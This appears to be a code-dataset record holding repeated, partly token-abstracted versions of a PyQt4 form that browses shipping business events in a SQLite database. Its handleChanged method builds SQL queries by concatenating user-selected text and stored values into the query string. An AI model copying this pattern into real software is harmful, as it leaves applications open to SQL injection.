brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n\n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1\n self.handleChanged(self.cb_EventType.currentText())\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n\n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1\n self.handleChanged(self.cb_EventType.currentText())\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n\n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1\n self.handleChanged(self.cb_EventType.currentText())\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n 